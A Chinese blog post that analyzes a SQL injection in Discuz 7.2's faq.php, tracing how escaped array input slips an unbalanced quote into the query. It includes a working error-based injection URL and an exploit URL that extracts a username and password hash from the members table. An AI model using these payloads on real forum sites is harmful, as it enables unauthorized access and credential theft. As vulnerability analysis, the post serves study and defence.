DISCUZ7.2 FAQ.PHP SQLI分析(吐槽)

影响范围是discuz7.2这样的老版本(小伙伴说7.x),其实使用量并不是特别大,但是不知道为什么感觉好多人都高潮了,各种人拿着工具无脑刷,意义不明。

下了源码来简单分析了一下,如下:

POC:

http://127.0.0.1/dz_7/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23

1

直接在faq.php文件里找到grouppermission

1
2
3
4
5
6
7
8
9
10
11
12
13
elseif($action == 'grouppermission') { require_once './include/forum.func.php';
require_once language('misc');
$permlang = $language; unset($language);
......
......
......
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
$groups = array();

看到poc图中的报错应该就是这一段儿了

代码中定义了一个groupids的数组,接着遍历了$gids,也就是poc中的gids[]可以看出它也是一个数组

然后$groupids[] = $row[0];将数组的第一个值放入groupids中,这个操作就造成了注入

因为在dz中,GET的数组都会被全局进行addslashes转义,把一些预定字符前加\,这本来没事,但是奇葩的是

$groupids[] = $row[0];

这个赋值,只取第一个字符,也就罢转义字符取出了=。=

看看sql语句的处理,程序使用implodeids处理了$groupids

然后我们来看看他定义的implodeids

在../include/global.func.php中看到

1
2
3
4
5
6
7
 function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}

功能是把数组分隔开,变成’f’,’u’,’c’,’k’这样

但是刚才我们说过,有一个转义字符被取出了,所以在进行implodeids处理的时候,一个正常的’被转义了=。=

变成’f’,’\’,’c’,’k’

这样的话就造成后面一个单引号与被转移的前一个单引号闭合,c这里就是一个逃逸的单引号了,于是乎造成了注入,所以我们反观一下poc,把payload放到c这里,成功复现sqli

2

exp:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 

一键无脑的工具就不写了,已经有人写了各种无脑刷了,呵呵,不知道这些拿着工具的人高潮什么

原文地址:http://www.fuckgcd.net/wordpress/archives/437#more-437

标签: 无
返回文章列表 文章二维码
本页链接的二维码
打赏二维码
添加新评论